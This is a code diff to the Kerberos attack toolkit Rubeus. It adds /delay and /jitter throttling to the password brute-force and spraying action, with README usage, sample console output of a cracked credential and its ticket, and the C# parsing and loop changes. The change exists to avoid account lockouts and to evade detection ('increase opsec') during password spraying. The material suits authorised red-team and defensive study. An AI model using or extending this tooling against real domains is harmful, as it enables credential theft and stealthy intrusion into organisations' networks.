diff --git a/README.md b/README.md index 293ccb98..21b716ba 100755 --- a/README.md +++ b/README.md @@ -125,7 +125,7 @@ Rubeus is licensed under the BSD 3-Clause license. Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] Perform a Kerberos-based password bruteforcing attack: - Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] + Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/delay:MILLISECONDS] [/jitter:PERCENT] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] Perform a scan for account that do not require pre-authentication: Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy] @@ -1087,7 +1087,7 @@ The `/autorenew` flag will take an existing `/ticket:X` .kirbi file/blob, sleep ### brute -The **brute** action will perform a Kerberos-based password bruteforcing or password spraying attack. **spray** can also be used as the action name. +The **brute** action will perform a Kerberos-based password bruteforcing or password spraying attack. **spray** can also be used as the action name. C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket @@ -1109,6 +1109,34 @@ The **brute** action will perform a Kerberos-based password bruteforcing or pass doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)... +Using the `/delay` and `/jitter` arguments allow throttling password bruteforce and password spray requests to avoid account lockout and/or increase opsec. + + C:\Rubeus>Rubeus.exe brute /passwords:passwords.txt /noticket /delay:5000 /jitter:10 + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.3.3 + + [*] Action: Perform Kerberos Brute Force + + [-] Blocked/Disabled user => Guest + [-] Blocked/Disabled user => DefaultAccount + [-] Blocked/Disabled user => krbtgt + [-] Blocked/Disabled user => disabled + [+] STUPENDOUS => newuser:Password123!! + [*] base64(newuser.kirbi): + + doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)... + + + + + ### preauthscan The **preauthscan** action will send AS-REQ's for all usernames passed into the `/users` argument to discover accounts that do not require Kerberos pre-authentication. diff --git a/Rubeus/Commands/Brute.cs b/Rubeus/Commands/Brute.cs index da23dbeb..c987dc50 100644 --- a/Rubeus/Commands/Brute.cs +++ b/Rubeus/Commands/Brute.cs @@ -27,7 +27,9 @@ public class Brute : ICommand private string credPassword = ""; private string outfile = ""; private uint verbose = 0; + private int delay = 0; private bool saveTickets = true; + private int jitter = 0; protected class BruteArgumentException : ArgumentException { @@ -49,7 +51,8 @@ public void Execute(Dictionary arguments) this.outfile, this.verbose, this.saveTickets); Bruteforcer bruter = new Bruteforcer(this.domain, this.dc, consoleReporter); - bool success = bruter.Attack(this.usernames, this.passwords); + bool success = bruter.Attack(this.usernames, this.passwords, this.delay, this.jitter); + if (success) { if (!String.IsNullOrEmpty(this.outfile)) @@ -85,6 +88,8 @@ private void ParseArguments(Dictionary arguments) this.ParseOutfile(arguments); this.ParseVerbose(arguments); this.ParseSaveTickets(arguments); + this.ParseDelay(arguments); + this.ParseJitter(arguments); } private void ParseDomain(Dictionary arguments) @@ -205,6 +210,47 @@ private void ParseSaveTickets(Dictionary arguments) } } + private void ParseDelay(Dictionary arguments) + { + if (arguments.ContainsKey("/delay")) + { + try + { + this.delay = Int32.Parse(arguments["/delay"]); + } + catch + { + Console.WriteLine("[X] Delay must be an integer."); + } + if (delay < 100) + { + Console.WriteLine("[!] WARNING: Delay is in milliseconds! Please enter a value > 100."); + return; + } + } + } + + private void ParseJitter(Dictionary arguments) + { + if (arguments.ContainsKey("/jitter")) + { + try + { + this.jitter = Int32.Parse(arguments["/jitter"]); + } + catch + { + Console.WriteLine("[X] Jitter must be an integer between 1-100."); + return; + } + if(this.jitter <= 0 || this.jitter > 100) + { + Console.WriteLine("[X] Jitter must be between 1-100."); + return; + } + } + } + private void ObtainUsers() { if(this.usernames == null) diff --git a/Rubeus/Domain/Info.cs b/Rubeus/Domain/Info.cs index 5eab79a5..511a02f3 100755 --- a/Rubeus/Domain/Info.cs +++ b/Rubeus/Domain/Info.cs @@ -51,7 +51,7 @@ public static void ShowUsage() Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] Perform a Kerberos-based password bruteforcing attack: - Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] + Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/delay:MILLISECONDS] [/jitter:PERCENT] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] Perform a scan for account that do not require pre-authentication: Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy] diff --git a/Rubeus/lib/Bruteforcer.cs b/Rubeus/lib/Bruteforcer.cs index d19e1fde..72e96e16 100644 --- a/Rubeus/lib/Bruteforcer.cs +++ b/Rubeus/lib/Bruteforcer.cs @@ -34,7 +34,7 @@ public Bruteforcer(string domain, string domainController, IBruteforcerReporter this.validCredentials = new Dictionary(); } - public bool Attack(string[] usernames, string[] passwords) + public bool Attack(string[] usernames, string[] passwords, int delay, int jitter) { bool success = false; foreach (string password in passwords) @@ -46,6 +46,7 @@ public bool Attack(string[] usernames, string[] passwords) success = true; } } + Helpers.RandomDelayWithJitter(delay, jitter); } return success;